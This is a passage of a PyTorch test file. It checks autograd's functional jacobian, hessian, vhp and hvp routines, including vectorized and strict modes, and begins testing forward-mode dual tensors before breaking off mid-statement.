self.assertIsNotNone(res.grad_fn) self.assertNotEqual(res, torch.zeros(4, 4)) def _test_jacobian_output(self, vectorize): def exp_reducer(x): return x.exp().sum(dim=1) inputs = torch.rand(4, 4) res = autogradF.jacobian(exp_reducer, inputs, vectorize=vectorize) self._assert_interleaved_struct(res, exp_reducer(inputs), inputs) self.assertIsNone(res.grad_fn) def identity(x): return x.clone() inputs = torch.rand(4) res = autogradF.jacobian(identity, inputs, vectorize=vectorize) self._assert_interleaved_struct(res, identity(inputs), inputs) self.assertIsNone(res.grad_fn) self.assertEqual(res, torch.eye(4)) def add_exp_reducer(x, y): return (x + y.exp()).sum(dim=1) inputs = (torch.rand(4, 4), torch.rand(4, 4)) res = autogradF.jacobian(add_exp_reducer, inputs, vectorize=vectorize) self._assert_interleaved_struct(res, add_exp_reducer(*inputs), inputs) self.assertIsNone(res[0].grad_fn) self.assertIsNone(res[1].grad_fn) def test_jacobian_output(self): self._test_jacobian_output(vectorize=False) def test_jacobian_output_vectorize(self): self._test_jacobian_output(vectorize=True) def _test_jacobian_scalar(self, vectorize): def reducer(x): return x.sum() inputs = torch.rand(4, 4) res = autogradF.jacobian(reducer, inputs, vectorize=vectorize) self._assert_same_struct(res, inputs) def expander(x): return x.unsqueeze(0).repeat(4) inputs = torch.rand([]) res = autogradF.jacobian(expander, inputs, vectorize=vectorize) self._assert_same_struct(res, torch.zeros(4)) def test_jacobian_scalar(self): self._test_jacobian_scalar(vectorize=False) def test_jacobian_scalar_vectorize(self): self._test_jacobian_scalar(vectorize=True) def _test_jacobian_create_graph(self, vectorize): def exp_reducer(x): return x.exp().sum(dim=1) inputs = torch.rand(4, 4, dtype=torch.double, requires_grad=True) res = autogradF.jacobian(exp_reducer, inputs, create_graph=True, vectorize=vectorize) self._assert_interleaved_struct(res, exp_reducer(inputs), inputs) self.assertIsNotNone(res.grad_fn) gradcheck(lambda inp: autogradF.jacobian(exp_reducer, inp, create_graph=True, vectorize=vectorize), inputs) gradgradcheck(lambda inp: autogradF.jacobian(exp_reducer, inp, create_graph=True, vectorize=vectorize), inputs) def add_exp_reducer(x, y): return (x + y).exp().sum(dim=1) inputs = (torch.rand(4, 4, dtype=torch.double, requires_grad=True), torch.rand(4, 4, dtype=torch.double, requires_grad=True)) res = autogradF.jacobian(add_exp_reducer, inputs, create_graph=True, vectorize=vectorize) self._assert_interleaved_struct(res, add_exp_reducer(*inputs), inputs) self.assertIsNotNone(res[0].grad_fn) self.assertIsNotNone(res[1].grad_fn) gradcheck(lambda *inp: autogradF.jacobian(add_exp_reducer, inp, create_graph=True, vectorize=vectorize), inputs) gradgradcheck(lambda *inp: autogradF.jacobian(add_exp_reducer, inp, create_graph=True, vectorize=vectorize), inputs) def foo(x, y): x = x.cos() val, jac = autogradF.jacobian(add_exp_reducer, (x, y), create_graph=True, vectorize=vectorize) res = val[0].exp().sum() + val[1].exp().sum() + jac[0].exp().sum() res = res + jac[1].exp().sum() + x.exp().sum() + y.exp().sum() return res gradcheck(foo, inputs) gradgradcheck(foo, inputs) def test_jacobian_create_graph(self): self._test_jacobian_create_graph(vectorize=False) def test_jacobian_create_graph_vectorize(self): self._test_jacobian_create_graph(vectorize=True) def _check_jacobian_vectorize_correctness(self, f, inputs): expected = autogradF.jacobian(f, inputs, vectorize=False) result = autogradF.jacobian(f, inputs, vectorize=True) self.assertEqual(result, expected) def test_jacobian_vectorize_correctness_simple(self): def f(x): return 3 * x ** 2 x = torch.randn(2, 3, 5) self._check_jacobian_vectorize_correctness(f, x) def test_jacobian_vectorize_correctness_multi_input(self): def f(x, y): return (x.cos() * x) @ y.sin() x = torch.randn(2, 3) y = torch.randn(3, 5) self._check_jacobian_vectorize_correctness(f, (x, y)) def test_jacobian_vectorize_correctness_multi_input_multi_output(self): def f(x, y): return (x * x) @ y, x @ (x.sum(1) * y), y.sum() x = torch.randn(5, 3) y = torch.randn(3, 5) self._check_jacobian_vectorize_correctness(f, (x, y)) def test_jacobian_vectorize_correctness_unrelated_outputs(self): def f(x, y): return x, y, x, y x = torch.randn(2) y = torch.randn(3) self._check_jacobian_vectorize_correctness(f, (x, y)) def test_jacobian_vectorize_correctness_zero_dim(self): # zero-dim output def f(x, y): return x.sum(), y.sum(), x * y x = torch.randn(3) y = torch.randn(3) self._check_jacobian_vectorize_correctness(f, (x, y)) # zero-dim input def g(x): return torch.stack([x, x, x]) x = torch.randn([]) self._check_jacobian_vectorize_correctness(g, x) # Mixed zero-dim input / zero-dim output def h(x, y): return y.sum(), x * y x = torch.randn([]) y = torch.randn(1) self._check_jacobian_vectorize_correctness(h, (x, y)) @unittest.skipIf(not TEST_CUDA, "test requires CUDA") def test_jacobian_vectorize_correctness_different_devices(self): def f(x, y): return x * y, (x * y).cuda() x = torch.randn(3) y = torch.randn(3) self._check_jacobian_vectorize_correctness(f, (x, y)) def test_jacobian_vectorize_correctness_different_dtype(self): def f(x, y): return (x * y).float(), (x * y).double() x = torch.randn(3) y = torch.randn(3) self._check_jacobian_vectorize_correctness(f, (x, y)) def _check_hessian_vectorize_correctness(self, f, inputs): expected = autogradF.hessian(f, inputs, vectorize=False) result = autogradF.hessian(f, inputs, vectorize=True) self.assertEqual(result, expected) def test_hessian_vectorize_correctness_simple(self): def f(x): return (3 * x ** 2).sum() x = torch.randn(2, 3, 5) self._check_hessian_vectorize_correctness(f, x) def test_hessian_vectorize_correctness_multi_input(self): def f(x, y, z): return ((x.relu() * x) @ y.sin() @ z).sum() x = torch.randn(2, 3) y = torch.randn(3, 5) z = torch.randn(5, 5) self._check_hessian_vectorize_correctness(f, (x, y, z)) def test_hessian_vectorize_correctness_unrelated_outputs(self): # output unrelated to one input def f(x, y): return (x ** 2).sum() x = torch.randn(2) y = torch.randn(3) self._check_hessian_vectorize_correctness(f, (x, y)) # output unrelated to all inputs def f(x, y): return torch.randn([]) x = torch.randn(2) y = torch.randn(3) self._check_hessian_vectorize_correctness(f, (x, y)) def _test_hessian_err_check(self, vectorize): def foo(a): return 3 * a.narrow(0, 0, 3).exp().sum() def bar(a): return 3 * a.narrow(0, 0, 3), "bar" def bar2(a): return 3 * a.narrow(0, 0, 3) def bar3(a): return 3 * a.narrow(0, 0, 3), 3 * a.narrow(0, 0, 3) inp = torch.rand(4) with self.assertRaisesRegex(TypeError, "The inputs given to hessian must be either a Tensor"): res = autogradF.hessian(foo, (inp, 2), vectorize=vectorize) with self.assertRaisesRegex(TypeError, "The outputs of the user-provided function given to hessian must"): res = autogradF.hessian(bar, inp, vectorize=vectorize) err_msg_out = "The Tensor returned by the function given to hessian should contain a single element" with self.assertRaisesRegex(RuntimeError, err_msg_out): res = autogradF.hessian(bar2, inp, vectorize=vectorize) with self.assertRaisesRegex(RuntimeError, "The function given to hessian should return a single Tensor"): res = autogradF.hessian(bar3, inp, vectorize=vectorize) res = autogradF.hessian(foo, inp, vectorize=vectorize) self._assert_interleaved_struct(res, inp, inp) def foo(a, b): return (3 * b.narrow(0, 0, 3) * a.narrow(0, 0, 3)).sum() inp = (torch.rand(4), torch.rand(5)) res = autogradF.hessian(foo, inp, vectorize=vectorize) self._assert_interleaved_struct(res, inp, inp) def test_hessian_err_check(self): self._test_hessian_err_check(vectorize=False) def test_hessian_err_check_vectorize(self): self._test_hessian_err_check(vectorize=True) def test_hessian_err_check_strict(self): def foo(a): return a.detach().sum() def bar(a): # Make a non-leaf Tensor that requires_grad but that is not connected to the input return a.long().float().requires_grad_().clone().sum() def bar2(a): # A Linear function for which the jacobian is independent of the input return (3 * a).sum() inp = torch.rand(4) with self.assertRaisesRegex(RuntimeError, "Output 0 of the user-provided function does not require gradients."): res = autogradF.hessian(foo, inp, strict=True) res = autogradF.hessian(foo, inp, strict=False) self._assert_interleaved_struct(res, inp, inp) self.assertEqual(res.abs().sum(), 0.) with self.assertRaisesRegex(RuntimeError, "jacobian of the user-provided function with respect to input 0"): res = autogradF.hessian(bar, inp, strict=True) res = autogradF.hessian(bar, inp, strict=False) self._assert_interleaved_struct(res, inp, inp) self.assertEqual(res.abs().sum(), 0.) with self.assertRaisesRegex(RuntimeError, "jacobian of the user-provided function with respect to input 0 is"): res = autogradF.hessian(bar2, inp, strict=True) res = autogradF.hessian(bar2, inp, strict=False) self._assert_interleaved_struct(res, inp, inp) self.assertEqual(res.abs().sum(), 0.) def test_hessian_err_check_strict_vectorize(self): def foo(x): return (x ** 3).sum() inp = torch.rand(4) with self.assertRaisesRegex(RuntimeError, "not supported together"): res = autogradF.hessian(foo, inp, strict=True, vectorize=True) def test_hessian_no_grad(self): def pow_reducer(x): return x.pow(3).sum() inputs = torch.rand(2, 2) with torch.no_grad(): res = autogradF.hessian(pow_reducer, inputs) self.assertIsNone(res[0][0].grad_fn) self.assertIsNone(res[0][1].grad_fn) self.assertIsNone(res[1][0].grad_fn) self.assertIsNone(res[1][1].grad_fn) self.assertNotEqual(res, torch.zeros(2, 2, 2)) with torch.no_grad(): res = autogradF.hessian(pow_reducer, inputs, create_graph=True) self.assertIsNotNone(res[0][0].grad_fn) self.assertIsNotNone(res[0][1].grad_fn) self.assertIsNotNone(res[1][0].grad_fn) self.assertIsNotNone(res[1][1].grad_fn) self.assertNotEqual(res, torch.zeros(2, 2, 2)) def _test_hessian_output(self, vectorize): def pow_reducer(x): return x.pow(3).sum() inputs = torch.rand(2, 2) res = autogradF.hessian(pow_reducer, inputs, vectorize=vectorize) self._assert_interleaved_struct(res, inputs, inputs) self.assertIsNone(res.grad_fn) def add_pow_reducer(x, y): return (x + y).pow(3).sum() inputs = (torch.rand(2, 2), torch.rand(2, 2)) res = autogradF.hessian(add_pow_reducer, inputs, vectorize=vectorize) self._assert_interleaved_struct(res, inputs, inputs) self.assertIsNone(res[0][0].grad_fn) self.assertIsNone(res[0][1].grad_fn) self.assertIsNone(res[1][0].grad_fn) self.assertIsNone(res[1][1].grad_fn) def test_hessian_output(self): self._test_hessian_output(vectorize=False) def test_hessian_output_vectorize(self): self._test_hessian_output(vectorize=True) def _test_hessian_scalar(self, vectorize): def reducer(x): return x.sum() inputs = torch.rand(4, 4) res = autogradF.hessian(reducer, inputs, vectorize=vectorize) self._assert_interleaved_struct(res, inputs, inputs) inputs = torch.rand([]) res = autogradF.hessian(reducer, inputs, vectorize=vectorize) self._assert_same_struct(res, inputs) def bad_reducer(x): return x.sum().view(1, 1, 1) inputs = torch.rand(4, 4) res = autogradF.hessian(bad_reducer, inputs, vectorize=vectorize) self._assert_interleaved_struct(res, inputs, inputs) def test_hessian_scalar(self): return self._test_hessian_scalar(vectorize=False) def test_hessian_scalar_vectorize(self): return self._test_hessian_scalar(vectorize=True) def _test_hessian_create_graph(self, vectorize): def pow_reducer(x): return x.pow(3).sum() inputs = torch.rand(2, 2, dtype=torch.double, requires_grad=True) res = autogradF.hessian(pow_reducer, inputs, create_graph=True, vectorize=vectorize) self._assert_interleaved_struct(res, inputs, inputs) self.assertIsNotNone(res.grad_fn) gradcheck(lambda inp: autogradF.hessian(pow_reducer, inp, create_graph=True, vectorize=vectorize), inputs) gradgradcheck(lambda inp: autogradF.hessian(pow_reducer, inp, create_graph=True, vectorize=vectorize), inputs) def add_pow_reducer(x, y): return (x + y).pow(3).sum() inputs = (torch.rand(2, 2, dtype=torch.double, requires_grad=True), torch.rand(2, 2, dtype=torch.double, requires_grad=True)) res = autogradF.hessian(add_pow_reducer, inputs, create_graph=True, vectorize=vectorize) self._assert_interleaved_struct(res, inputs, inputs) self.assertIsNotNone(res[0][0].grad_fn) self.assertIsNotNone(res[0][1].grad_fn) self.assertIsNotNone(res[1][0].grad_fn) self.assertIsNotNone(res[1][1].grad_fn) def flatten(inp): return tuple(el_lvl2 for el_lvl1 in inp for el_lvl2 in el_lvl1) gradcheck(lambda *inp: flatten(autogradF.hessian(add_pow_reducer, inp, create_graph=True, vectorize=vectorize)), inputs) gradgradcheck(lambda *inp: flatten(autogradF.hessian(add_pow_reducer, inp, create_graph=True, vectorize=vectorize)), inputs) def foo(x, y): x = x.cos() val, hess = autogradF.hessian(add_pow_reducer, (x, y), create_graph=True, vectorize=vectorize) res = val[0].cos().sum() + val[1].cos().sum() + hess[0].cos().sum() res = res + hess[1].cos().sum() + x.cos().sum() + y.cos().sum() return res gradcheck(foo, inputs) gradgradcheck(foo, inputs) def test_hessian_create_graph(self): self._test_hessian_create_graph(vectorize=False) def test_hessian_create_graph_vectorize(self): self._test_hessian_create_graph(vectorize=True) def test_vhp_err_check(self): def foo(a): return 3 * a.narrow(0, 0, 3).exp().sum() def bar(a): return 3 * a.narrow(0, 0, 3), "bar" def bar2(a): return 3 * a.narrow(0, 0, 3) inp = torch.rand(4) v = torch.rand(4) with self.assertRaisesRegex(TypeError, "The inputs given to vhp must be either a Tensor"): res = autogradF.vhp(foo, (inp, 2), v) with self.assertRaisesRegex(TypeError, "The outputs of the user-provided function given to vhp must"): res = autogradF.vhp(bar, inp, v) err_msg_out = "The Tensor returned by the function given to vhp should contain a single element" with self.assertRaisesRegex(RuntimeError, err_msg_out): res = autogradF.vhp(bar2, inp, v) with self.assertRaisesRegex(RuntimeError, "v has invalid size:"): res = autogradF.vhp(foo, inp, torch.rand(5)) with self.assertRaisesRegex(TypeError, "The v given to vhp must be either a Tensor or a tuple of Tensors"): res = autogradF.vhp(foo, inp, (v, 2)) res = autogradF.vhp(foo, inp, v) self._assert_same_struct(res[1], inp) def foo(a, b): return (3 * b.narrow(0, 0, 3) * a.narrow(0, 0, 3)).sum() inp = (torch.rand(4), torch.rand(5)) v = (torch.rand(4), torch.rand(5)) res = autogradF.vhp(foo, inp, v) self._assert_same_struct(res[1], inp) def test_vhp_err_check_strict(self): def foo(a): return a.detach().sum() def bar(a): # Make a non-leaf Tensor that requires_grad but that is not connected to the input return a.long().float().requires_grad_().clone().sum() def bar2(a): # A Linear function for which the jacobian is independent of the input return (3 * a).sum() inp = torch.rand(4) v = torch.rand(4) with self.assertRaisesRegex(RuntimeError, "Output 0 of the user-provided function does not require gradients."): res = autogradF.vhp(foo, inp, v, strict=True) res = autogradF.vhp(foo, inp, v, strict=False) self._assert_same_struct(res[1], inp) self.assertEqual(res[1].abs().sum(), 0.) with self.assertRaisesRegex(RuntimeError, "The output of the user-provided function is independent of input 0"): res = autogradF.vhp(bar, inp, v, strict=True) res = autogradF.vhp(bar, inp, v, strict=False) self._assert_same_struct(res[1], inp) self.assertEqual(res[1].abs().sum(), 0.) with self.assertRaisesRegex(RuntimeError, "jacobian of the user-provided function with respect to input 0 is"): res = autogradF.vhp(bar2, inp, v, strict=True) res = autogradF.vhp(bar2, inp, v, strict=False) self._assert_same_struct(res[1], inp) self.assertEqual(res[1].abs().sum(), 0.) def test_vhp_no_grad(self): def reducer(x): return x.exp().sum() inputs = torch.rand(4, 4) v = torch.ones(4, 4) with torch.no_grad(): res = autogradF.vhp(reducer, inputs, v) self.assertIsNone(res[0].grad_fn) self.assertIsNone(res[1].grad_fn) self.assertNotEqual(res[1], torch.zeros(4, 4)) with torch.no_grad(): res = autogradF.vhp(reducer, inputs, v, create_graph=True) self.assertIsNotNone(res[0].grad_fn) self.assertIsNotNone(res[1].grad_fn) self.assertNotEqual(res[1], torch.zeros(4, 4)) def test_vhp_output(self): def foo(a): return 3 * a.narrow(0, 0, 3).exp().sum() inputs = torch.rand(4, 4) v = torch.ones(4, 4) res = autogradF.vhp(foo, inputs, v) self._assert_same_struct(res[1], inputs) self.assertIsNone(res[0].grad_fn) self.assertIsNone(res[1].grad_fn) def bar(a, b): return (a + 3 * b.narrow(0, 0, 3)).exp().sum() inputs = (torch.rand(3), torch.rand(4)) v = (torch.ones(3), torch.ones(4)) out, vhp_val = autogradF.vhp(bar, inputs, v) self._assert_same_struct(vhp_val, inputs) self.assertIsNone(out.grad_fn) self.assertIsNone(vhp_val[0].grad_fn) self.assertIsNone(vhp_val[1].grad_fn) def test_vhp_scalar(self): def reducer(x): return x.sum() inputs = torch.rand(4, 4) v = torch.ones(4, 4) res = autogradF.vhp(reducer, inputs, v) self._assert_same_struct(res[1], inputs) inputs = torch.rand([]) v = torch.rand([]) res = autogradF.vhp(reducer, inputs, v) self._assert_same_struct(res[1], inputs) res = autogradF.vhp(reducer, inputs) self._assert_same_struct(res[1], inputs) def bad_reducer(x): return x.sum().view(1, 1, 1) inputs = torch.rand(4, 4) v = torch.rand(4, 4) res = autogradF.vhp(bad_reducer, inputs, v) self._assert_same_struct(res[1], inputs) def test_vhp_create_graph(self): def foo(a): return 3 * a.narrow(0, 0, 3).exp().sum() inputs = torch.rand(4, 4, dtype=torch.double, requires_grad=True) v = torch.ones(4, 4, dtype=torch.double, requires_grad=True) res = autogradF.vhp(foo, inputs, v, create_graph=True) self._assert_same_struct(res[1], inputs) self.assertIsNotNone(res[0].grad_fn) self.assertIsNotNone(res[1].grad_fn) gradcheck(lambda inp, v: autogradF.vhp(foo, inp, v, create_graph=True), (inputs, v)) gradgradcheck(lambda inp, v: autogradF.vhp(foo, inp, v, create_graph=True), (inputs, v)) def bar(a, b): return (a + 3 * b.narrow(0, 0, 3)).exp().sum() inputs = (torch.rand(3, dtype=torch.double, requires_grad=True), torch.rand(4, dtype=torch.double, requires_grad=True)) v = (torch.ones(3, dtype=torch.double, requires_grad=True), torch.ones(4, dtype=torch.double, requires_grad=True)) out, vhp_val = autogradF.vhp(bar, inputs, v, create_graph=True) self._assert_same_struct(vhp_val, inputs) self.assertIsNotNone(out.grad_fn) self.assertIsNotNone(vhp_val[0].grad_fn) self.assertIsNotNone(vhp_val[1].grad_fn) gradcheck(lambda *args: autogradF.vhp(bar, args[:2], args[2:], create_graph=True)[1], inputs + v) gradgradcheck(lambda *args: autogradF.vhp(bar, args[:2], args[2:], create_graph=True)[1], inputs + v) def foo(*args): x, y = args[:2] v = args[2:] x = x.cos() val, grad = autogradF.vhp(bar, (x, y), v, create_graph=True) return val.cos() + grad[0].cos().sum() + grad[1].cos() + x.cos().sum() + y.cos() gradcheck(foo, inputs + v) gradgradcheck(foo, inputs + v) def test_hvp_err_check(self): def foo(a): return 3 * a.narrow(0, 0, 3).exp().sum() def bar(a): return 3 * a.narrow(0, 0, 3), "bar" def bar2(a): return 3 * a.narrow(0, 0, 3) inp = torch.rand(4) v = torch.rand(4) res = autogradF.hvp(foo, inp, v) with self.assertRaisesRegex(TypeError, "The inputs given to hvp must be either a Tensor"): res = autogradF.hvp(foo, (inp, 2), v) with self.assertRaisesRegex(TypeError, "The outputs of the user-provided function given to hvp must"): res = autogradF.hvp(bar, inp, v) err_msg_out = "The Tensor returned by the function given to hvp should contain a single element" with self.assertRaisesRegex(RuntimeError, err_msg_out): res = autogradF.hvp(bar2, inp, v) with self.assertRaisesRegex(RuntimeError, "v has invalid size:"): res = autogradF.hvp(foo, inp, torch.rand(5)) with self.assertRaisesRegex(TypeError, "The v given to hvp must be either a Tensor or a tuple of Tensors"): res = autogradF.hvp(foo, inp, (v, 2)) res = autogradF.hvp(foo, inp, v) self._assert_same_struct(res[1], inp) def foo(a, b): return (3 * b.narrow(0, 0, 3) * a.narrow(0, 0, 3)).sum() inp = (torch.rand(4), torch.rand(5)) v = (torch.rand(4), torch.rand(5)) res = autogradF.hvp(foo, inp, v) self._assert_same_struct(res[1], inp) def test_hvp_err_check_strict(self): def foo(a): return a.detach().sum() def bar(a): # Make a non-leaf Tensor that requires_grad but that is not connected to the input return a.long().float().requires_grad_().clone().sum() def bar2(a): # A Linear function for which the jacobian is independent of the input return (3 * a).sum() inp = torch.rand(4) v = torch.rand(4) with self.assertRaisesRegex(RuntimeError, "Output 0 of the user-provided function does not require gradients."): res = autogradF.hvp(foo, inp, v, strict=True) res = autogradF.hvp(foo, inp, v, strict=False) self._assert_same_struct(res[1], inp) self.assertEqual(res[1].abs().sum(), 0.) with self.assertRaisesRegex(RuntimeError, "The output of the user-provided function is independent of input 0"): res = autogradF.hvp(bar, inp, v, strict=True) res = autogradF.hvp(bar, inp, v, strict=False) self._assert_same_struct(res[1], inp) self.assertEqual(res[1].abs().sum(), 0.) with self.assertRaisesRegex(RuntimeError, "jacobian of the user-provided function with respect to input 0 is"): res = autogradF.hvp(bar2, inp, v, strict=True) res = autogradF.hvp(bar2, inp, v, strict=False) self._assert_same_struct(res[1], inp) self.assertEqual(res[1].abs().sum(), 0.) def test_hvp_no_grad(self): def reducer(x): return x.exp().sum() inputs = torch.rand(4, 4) v = torch.ones(4, 4) with torch.no_grad(): res = autogradF.hvp(reducer, inputs, v) self.assertIsNone(res[0].grad_fn) self.assertIsNone(res[1].grad_fn) self.assertNotEqual(res[1], torch.zeros(4, 4)) with torch.no_grad(): res = autogradF.hvp(reducer, inputs, v, create_graph=True) self.assertIsNotNone(res[0].grad_fn) self.assertIsNotNone(res[1].grad_fn) self.assertNotEqual(res[1], torch.zeros(4, 4)) def test_hvp_output(self): def foo(a): return 3 * a.narrow(0, 0, 3).exp().sum() inputs = torch.rand(4, 4) v = torch.ones(4, 4) res = autogradF.hvp(foo, inputs, v) self._assert_same_struct(res[1], inputs) self.assertIsNone(res[0].grad_fn) self.assertIsNone(res[1].grad_fn) def bar(a, b): return (a + 3 * b.narrow(0, 0, 3)).exp().sum() inputs = (torch.rand(3), torch.rand(4)) v = (torch.ones(3), torch.ones(4)) out, hvp_val = autogradF.hvp(bar, inputs, v) self._assert_same_struct(hvp_val, inputs) self.assertIsNone(out.grad_fn) self.assertIsNone(hvp_val[0].grad_fn) self.assertIsNone(hvp_val[1].grad_fn) def test_hvp_scalar(self): def reducer(x): return x.exp().sum() inputs = torch.rand(4, 4) v = torch.ones(4, 4) res = autogradF.hvp(reducer, inputs, v) self._assert_same_struct(res[1], inputs) inputs = torch.rand([]) v = torch.rand([]) res = autogradF.hvp(reducer, inputs, v) self._assert_same_struct(res[1], inputs) res = autogradF.hvp(reducer, inputs) self._assert_same_struct(res[1], inputs) def bad_reducer(x): return x.exp().sum().view(1, 1, 1) inputs = torch.rand(4, 4) v = torch.rand(4, 4) res = autogradF.hvp(bad_reducer, inputs, v) self._assert_same_struct(res[1], inputs) def test_hvp_create_graph(self): def foo(a): return 3 * a.narrow(0, 0, 3).exp().sum() inputs = torch.rand(4, 4, dtype=torch.double, requires_grad=True) v = torch.ones(4, 4, dtype=torch.double, requires_grad=True) res = autogradF.hvp(foo, inputs, v, create_graph=True) self._assert_same_struct(res[1], inputs) self.assertIsNotNone(res[0].grad_fn) self.assertIsNotNone(res[1].grad_fn) gradcheck(lambda inp, v: autogradF.hvp(foo, inp, v, create_graph=True), (inputs, v)) gradgradcheck(lambda inp, v: autogradF.hvp(foo, inp, v, create_graph=True), (inputs, v)) def bar(a, b): return (a + 3 * b.narrow(0, 0, 3)).exp().sum() inputs = (torch.rand(3, dtype=torch.double, requires_grad=True), torch.rand(4, dtype=torch.double, requires_grad=True)) v = (torch.ones(3, dtype=torch.double, requires_grad=True), torch.ones(4, dtype=torch.double, requires_grad=True)) out, hvp_val = autogradF.hvp(bar, inputs, v, create_graph=True) self._assert_same_struct(hvp_val, inputs) self.assertIsNotNone(out.grad_fn) self.assertIsNotNone(hvp_val[0].grad_fn) self.assertIsNotNone(hvp_val[1].grad_fn) gradcheck(lambda *args: autogradF.hvp(bar, args[:2], args[2:], create_graph=True)[1], inputs + v) gradgradcheck(lambda *args: autogradF.hvp(bar, args[:2], args[2:], create_graph=True)[1], inputs + v) def foo(*args): x, y = args[:2] v = args[2:] x = x.cos() val, grad = autogradF.hvp(bar, (x, y), v, create_graph=True) return val.cos() + grad[0].cos().sum() + grad[1].cos() + x.cos().sum() + y.cos() gradcheck(foo, inputs + v) gradgradcheck(foo, inputs + v) def test_jacobian_match_vjp_jvp(self): def foo(x): return x ** 3 + x.sum() inputs = torch.rand(4) v = torch.rand(4) jac = autogradF.jacobian(foo, inputs) jvp = autogradF.jvp(foo, inputs, v)[1] vjp = autogradF.vjp(foo, inputs, v)[1] self.assertEqual(jvp, torch.mm(jac, v.unsqueeze(1)).squeeze(1)) self.assertEqual(vjp, torch.mm(v.unsqueeze(0), jac).squeeze(0)) def test_hessian_match_vhp_hvp(self): def foo(a): return 3 * a.narrow(0, 0, 3).exp().sum() inputs = torch.rand(4) v = torch.rand(4) hes = autogradF.hessian(foo, inputs) hvp = autogradF.hvp(foo, inputs, v)[1] vhp = autogradF.vhp(foo, inputs, v)[1] self.assertEqual(hvp, torch.mm(hes, v.unsqueeze(1)).squeeze(1)) self.assertEqual(vhp, torch.mm(v.unsqueeze(0), hes).squeeze(0)) class TestAutogradForwardMode(TestCase): def tearDown(self): # Ensure that a failing test won't make others fail while fwAD._current_level >= 0: fwAD.exit_dual_level() super().tearDown() def test_forward_level_cleanup(self): def get_tensor_and_weak_ref(): # Create a new Tensor and weak reference t = torch.rand(2, requires_grad=True) return t, torch._C._WeakTensorRef(t) # Sanity check that the helper function works as expected t, t_ref = get_tensor_and_weak_ref() self.assertFalse(t_ref.expired()) del t self.assertTrue(t_ref.expired()) # Main test code foo = torch.rand(2) with fwAD.dual_level(): tangent, tangent_ref = get_tensor_and_weak_ref() self.assertFalse(tangent_ref.expired()) dual = fwAD.make_dual(foo, tangent) self.assertFalse(tangent_ref.expired()) # Make sure that the tangent we provided has been re-used as is self.assertTrue(fwAD.unpack_dual(dual)[1] is tangent) # Make sure that dual is keeping the tangent alive del tangent self.assertFalse(tangent_ref.expired()) # Make sure that the dual level does not keep the c++ # version of the tangent alive del dual self.assertTrue(tangent_ref.expired()) def test_size_check(self): foo = torch.rand(2) tangent = torch.rand(3) with fwAD.dual_level(): with self.assertRaisesRegex(RuntimeError, "Trying to set a forward gradient that has a different size"): dual = fwAD.make_dual(foo, tangent) dual = fwAD.make_dual(foo, tangent[1:]) # The following test functions want to ensure all the following behaviors: # - Ensure that default level system in the python binding works # - Ensure that only level 0 exists and nesting is properly disabled # - Ensure that printing works fine # - Ensure that basic packing/unpacking works # - Ensure that advanced packing/unpacking works # - For memory / version counter share # - For backward AD (regular ops) # - Ensure that view + inplace for both modes work fine # - Ensure we do proper cleanup on exit of a level def test_default_level(self): foo = torch.rand(2) bar = torch.rand(2) with fwAD.dual_level(): baz = fwAD.make_dual(foo, bar) baz_primal, baz_tangent = fwAD.unpack_dual(baz) self.assertEqual(baz_primal, foo) # We don't actually need to enforce that these two are the exact same python # object, feel free to relax in the future self.assertIs(baz_tangent, bar) baz_primal, baz_tangent = fwAD.unpack_dual(baz) self.assertEqual(baz_primal, foo) self.assertEqual(baz_tangent, None) def test_nested_level(self): with fwAD.dual_level() as level: # For now only level 0 exists self.assertEqual(level, 0) with fwAD.dual_level(): with self.assertRaisesRegex(RuntimeError, "Nested forward mode AD is not supported at the moment"): nest_level = fwAD.enter_dual_level() def test_print(self): with fwAD.dual_level() as level: a = torch.rand(3) self.assertFalse("tangent=" in str(a)) b = fwAD.make_dual(a, torch.rand(3)) self.assertFalse("tangent=" in str(a)) self.assertTrue("tangent=" in str(b)) b_primal, b_tangent = fwAD.unpack_dual(b) self.assertFalse("tangent=" in str(b_primal)) self.assertFalse("tangent=" in str(b_tangent)) def test_basic_packing_unpacking(self): foo = torch.rand(2) bar = torch.rand(2) with fwAD.dual_level(): baz = fwAD.make_dual(foo, bar) baz_primal, baz_tangent = fwAD.unpack_dual(baz) self.assertEqual(baz_primal, foo) self.assertIs(baz_tangent, bar) # Check that packing/unpacking did not change the input foo_primal, foo_tangent = fwAD.unpack_dual(foo) self.assertEqual(foo_primal, foo) self.assertIsNone(foo_tangent) def test_advanced_packing_unpacking(self): foo = torch.rand(2) bar = torch.ones(2) # Memory and version counter check with fwAD.dual_level(): dual = fwAD.make_dual(foo, bar) # Ensure that they are sharing memory and version counter self.assertEqual(dual.storage().data_ptr(), foo.storage().data_ptr()) # Ensure we properly share the version counter self.assertEqual(foo._version, dual._version) foo.add_(1) self.assertEqual(foo._version, dual._version) # Unpacking should only create aliases as well dual_primal, dual_tangent = fwAD.unpack_dual(dual) self.assertEqual(dual_primal.storage().data_ptr(), foo.storage().data_ptr()) self.assertEqual(dual_tangent.storage().data_ptr(), bar.storage().data_ptr()) # And the tangent is actually re-used as-is so it is still the same Tensor self.assertIs(dual_tangent, bar) # Ensure we properly share the version counter self.assertEqual(foo._version, dual_primal._version) foo.add_(1) self.assertEqual(foo._version, dual_primal._version) self.assertEqual(bar._version, dual_tangent._version) bar.add_(1) self.assertEqual(bar._version, dual_tangent._version) # backward mode check with fwAD.dual_level(): foo.requires_grad_() bar.requires_grad_() # Check that backward gradients properly propagates through packing/unpacking dual = fwAD.make_dual(foo, bar) p, t = fwAD.unpack_dual(dual) gfoo, gbar = torch.autograd.grad(p.sum(), (foo, bar), retain_graph=True, allow_unused=True) self.assertEqual(gfoo, torch.ones_like(foo)) self.assertIsNone(gbar) gfoo, gbar = torch.autograd.grad(t.sum(), (foo, bar), retain_graph=True, allow_unused=True) self.assertIsNone(gfoo) self.assertEqual(gbar, torch.ones_like(bar)) # Check that forward gradients are impacted by detach() detached_dual = dual.detach() out = detached_dual * 2 p, t = fwAD.unpack_dual(out) self.assertFalse(p.requires_grad) self.assertEqual(p, foo * 2) self.assertIsNone(t) # Check that forward gradients are not impacted by no_grad with torch.no_grad(): out = dual * 3 p, t = fwAD.unpack_dual(out) self.assertFalse(p.requires_grad) self.assertFalse(t.requires_grad) self.assertEqual(p, foo * 3) self.assertEqual(t, bar * 3) # Check that forward gradients are not impacted by inplace detach dual = dual.clone() dual.detach_() out = dual * 2 p, t = fwAD.unpack_dual(out) self.assertFalse(p.requires_grad) self.assertEqual(p, foo * 2) self.assertIsNone(t) def test_view_inplace_non_differentiable_views(self): original_foo = torch.rand(2, dtype=torch.double) original_bar = torch.ones(2, dtype=torch.double) # Do clones to be able to compare the values updated inplace # with the original content of these Tensors foo = original_foo.clone() bar 